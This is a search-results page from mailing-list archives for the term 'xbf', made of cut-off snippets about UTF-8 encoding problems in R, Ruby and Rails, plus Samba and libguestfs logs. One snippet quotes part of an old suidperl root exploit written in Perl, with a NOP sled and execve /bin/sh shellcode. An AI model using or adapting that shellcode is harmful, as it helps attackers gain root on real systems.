search for: xbf

If you print: "\xc9\x82\xbf" you get "\u0242\xbf" But if you try and evaluate that string you get: > "\u0242\xbf" Error: mixing Unicode and octal/hex escapes in a string is not allowed (Probably will only happen on mac/linux with default utf-8 encoding) Hadley -- http://hadley.nz

I''m trying to get substring from a utf-8 encoded string. (say, first 50 characters of the string) String#[0..49] would give me the first 50 bytes not 50 characters.. I know there is jcode library, but it only let you count number of characters in utf-8 string. unicode gem doesn''t seem to help much. unicode_hacks gem seem to solve the problem, but it also seems to

On Thu, Jul 7, 2016 at 10:11 AM, Duncan Murdoch <murdoch.duncan at gmail.com> wrote: > On 07/07/2016 10:57 AM, Hadley Wickham wrote: >> >> If you print: >> >> "\xc9\x82\xbf" >> >> you get >> >> "\u0242\xbf" >> >> But if you try and evaluate that string you get: >> >>> "\u0242\xbf" >> >> Error: mixing Unicode and octal/hex escapes in a string is not allowed >> >> (Prob...

I have a Samba 3.6 PDC (ClearOS) that I want to migrate to Sernet Samba 4.2 AD on a Centos7-arm box. So I am reading: https://wiki.samba.org/index.php/Migrating_a_Samba_NT4_domain_to_a_Samba_AD_domain_%28classic_upgrade%29 And trying to figure out what files I need. Note this is a totally NEW box, I need to copy over the needed files. So do I move all of the .tdb files? There are actually

...02\361\202\311\202\277\202\315" > > If you want a result that does not depend on your locale and is none of the supported encodings, you have to declare it as bytes (back in UTF-8): > >> Encoding(y)="bytes" >> y > [1] "\\x82\\xb1\\x82\\xf1\\x82\\xc9\\x82\\xbf\\x82\\xcd" >> iconv(y, from="Shift-JIS", to="utf-8") > [1] "?????" > > But that has its own perils such as the fact that you cannot dput() byte-encoded strings. Right - I'm aware of that. But to me, it doesn't seem correct to print a strin...

..., Hadley Wickham <h.wickham at gmail.com> wrote: > > On Thu, Jul 7, 2016 at 10:11 AM, Duncan Murdoch > <murdoch.duncan at gmail.com> wrote: >> On 07/07/2016 10:57 AM, Hadley Wickham wrote: >>> >>> If you print: >>> >>> "\xc9\x82\xbf" >>> >>> you get >>> >>> "\u0242\xbf" >>> >>> But if you try and evaluate that string you get: >>> >>>> "\u0242\xbf" >>> >>> Error: mixing Unicode and octal/hex escapes in a st...

...nfig/../vendor/rails/activerecord/lib/../../activesupport/lib/active_support/dependencies.rb:331:in `require'': ./script/../config/../config/../vendor/rails/activerecord/lib/../../activesupport/lib/active_support/json/encoders/core.rb:35: too short multibyte code string: /([\xC0-\xDF][\x80-\xBF]| (SyntaxError) [\xE0-\xEF][\x80-\xBF]{2}| [\xF0-\xF7][\x80-\xBF]{3})+/ from ./script/../config/../config/../vendor/rails/activerecord/lib/../../activesupport/lib/active_support/dependencies.rb:331:in `require'' [etc.] David -- http://www.rubypowera...

...d to zero in, first by removing the :analyzer part, and the bus error was gone. We started to suspect the analyzer that we were using: :analyzer => Ferret::Analysis::RegExpAnalyzer.new(FerretHelper::GENERIC_ANALYSIS_REGEX, true) Where GENERIC_ANALYSIS_REGEX is /([a-zA-Z]|[\xc0-\xdf][\x80-\xbf])+|[0-9]+|[\xe0-\xef][\x80-\xbf][\x80-\xbf]/ This is used, a la Jcode, to tokenize both European-language words, numbers, and CJV chars. Interestingly, we started to suspect if Mongrel''s development mode is the culprit. But anyway, we just created the Analyzer beforehand, and put it some...

...v/vg0/kvm105_img ... libguestfs: trace: part_init "/dev/sdb" "msdos" libguestfs: trace: part_init = 0 libguestfs: trace: pread_device "/dev/sda" 446 0 libguestfs: trace: pread_device = "\xebc\x90\x10\x8e\xd0\xbc\x00\xb0\xb8\x00\x00\x8e\xd8\x8e\xc0\xfb\xbe\x00|\xbf\x00\x06\xb9\x00\x02\xf3\xa4\xea!\x06\x00\x00\xbe\xbe\x078\x04u\x0b\x83\xc6\x10\x81\xfe\xfe\x07u\xf3\xeb\x16\xb4\x02\xb0\x01\xbb\x00|\xb2\x80\x8at\x01\x8bL\x02\xcd\x13\xea\x00|\x00\x00\xeb\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x01\x00\x00\x00\x00\x00\x00\x00\xff\xfa...

...> by using the following command cat <file> | tr -sc A-Za-z '\012' My question is how to specify unicode character and ASCII. Specifically text text file containing 3 byte sequence starting with \x0e in the tr command. I am able to see the character using: echo -e '\xe0\xa5\xbf' What regex incantation would make tr give the results I want? I am new to unicode. Regards, Rajagopal

...ad tried to do that but I could not get the YAML localization file to load. What I had done was load the ANSI (i.e. iso-8859-1) localization file into Notepad, convert to UTF-8, and saved that file. Then all my German (de.yml) localizations failed. It turns out that Notepad places "\xEF\xBB\xBF" at the beginning of the file to indicate that this is a YAML file. These three bytes appear to screw up YAML::load Gimme a break! Note only does Notepad put in these indicator bytes ... so does TextMate. In fact, TextMate will happily determine that your non-"\xEF\xBB\xBF" file...

...FP'' => ''welcome#index'', :as => :about --------------------------------- in logs i have ------------------------------------- Started GET "/привет" for 77.66.xxx.xxx at 2010-11-18 23:22:46 +0300 ActionController::RoutingError (No route matches "/\xD0\xBF \xD1\x80\xD0\xB8\xD0\xB2\xD0\xB5\xD1\x82"): Started GET "/привет" for 77.66.xxx.xxx at 2010-11-18 23:27:37 +0300 ActionController::RoutingError (No route matches "/\xD0\xBF \xD1\x80\xD0\xB8\xD0\xB2\xD0\xB5\xD1\x82"): Please give me an advice how to make it right . --...

I''m following the depot application in the rails bible Agile Web Development with Rails. In interation E1 NoMethodError in Admin#checkout Showing app/views/admin/checkout.rhtml where line #12 raised: You have a nil object when you didn''t expect it! You might have expected an instance of Array. The error occured while evaluating nil.include? Extracted source (around line #12):

...gt; + [ "DriverDatabase"; "DriverPackages"; drv_inf_label ], > + [ "Version", REG_BINARY ("\x00\xff\x09\x00\x00\x00\x00\x00" ^ > + "\x7b\xe9\x36\x4d\x25\xe3\xce\x11" ^ > + "\xbf\xc1\x08\x00\x2b\xe1\x03\x18" ^ > + (String.make 24 '\x00')) ]; > + (* Version is necessary for Windows-Kernel-Pnp in w10/w2k16 *) > + > [ "DriverDatabase"; "DriverPackages"; drv_inf_label; > "Configurati...

...e piece of the data file I used for the example below. Best, Randy > read.csv('../data/tmp.csv') Smoking_status Age_start_smoking Pack_day 1 0 2 0 3 missing missing missing 4 1 18 \xc9\xd9\xc1\xbf 5 1 20 1 > read.csv('../data/tmp.csv', na.strings = 'missing') Error in type.convert(data[[i]], as.is = as.is[i], dec = dec, na.strings = character(0)) : invalid multibyte string > sessionInfo() R version 2.6.1 (2007-11-26) i38...

...quot;; - "SignerScore", REG_DWORD 0x0d000005_l; - "StatusFlags", REG_DWORD 0x00000012_l; - (* NB: scsi_adapter_guid appears inside this string. *) - "Version", REG_BINARY "\x00\xff\x09\x00\x00\x00\x00\x00\x7b\xe9\x36\x4d\x25\xe3\xce\x11\xbf\xc1\x08\x00\x2b\xe1\x03\x18\x00\x40\x90\xed\x87\x7f\xcf\x01\x98\x21\x68\x00\x47\x00\x3e\x00\x00\x00\x00\x00\x00\x00\x00\x00" ]; - - [ "DriverDatabase"; "DriverPackages"; viostor_inf; "Configurations" ], - []; + let service_group = "SCSI miniport&qu...

...buf and Perl calls longjmp() with it somewhere in my_exit(). Run this and wait for a root prompt: [exploit code] #!/usr/bin/perl # yes, this suidperl exploit is in perl, isn''t it wonderful? :) $| = 1; $shellcode = "\x90" x 512 . # nops "\xbc\xf0\xff\xff\xbf" . # movl $0xbffffff0,%esp # "standard shellcode" by Aleph One "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" . "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" . "\x80\xe8\xdc\xff\xff\xff/bin/sh"; # start...

...{ ... 115 { "sha1", 116 "", 117 0, 118 1, 119 "\xda\x39\xa3\xee\x5e\x6b\x4b\x0d" 120 "\x32\x55\xbf\xef\x95\x60\x18\x90" 121 "\xaf\xd8\x07\x09", 122 160 / 8 123 }, ... etc. The input data needs to be 8 byte aligned but is just a void *. Thanks and regards, Rainer

I was using smbtar to test backing up an NT server, everything works fine except that for quite a lot of the files it has an error downloading them(probably 2/3 of them actually). All it says is : Error reading file \dir\dir\file. Got 0 bytes Didn't get entire file. size=533, nread=0 I could see this happening if the file were opened exclusively such as the paging file, but to my knowledge

...d" libguestfs: trace: truncate = 0 libguestfs: trace: write_append "/var/lib/urandom/random-seed" "\x87}\x96\x13\xa73\xd6\xc8\x7f\x93\xd0)\x1d\xcd\xf1\xab\xca?`[u\x80\x0b\xd4\xebIwC\xd2\x94\xfcm\xc9!\x0fj\x04\xe9\x92h\xdc\xf5\x07\xc3\xc5\xd4\xae\x1f\xff\xc9\xb0K%\x9f\xad\xff{Y\xbfT\xb2\x92\x0b\x03\xde<\xb2\xfe\xc7\xeb\x01\xb6\xd4!\xdb\xb1\x18\x1d6\xa9\xb9SO#\xae8\xb80\x1b|\xa4\xc3V\xda\x0e%\x81\xc1\x9a\xbfS\xa5\xeb\x94\xb9\xf0{\xe8 \xcb|\x00\xe8\xe2-\xfa\x87\x15\xbe\x96\xbb\xffW#\\x84\x83\x8c\x06C\xf9\xb7\xb9\xff!\x8c\x18\x17\xd92\x1a\xd6W\xc0\xab\x11\x04\x09G\xacG/\xd7\x...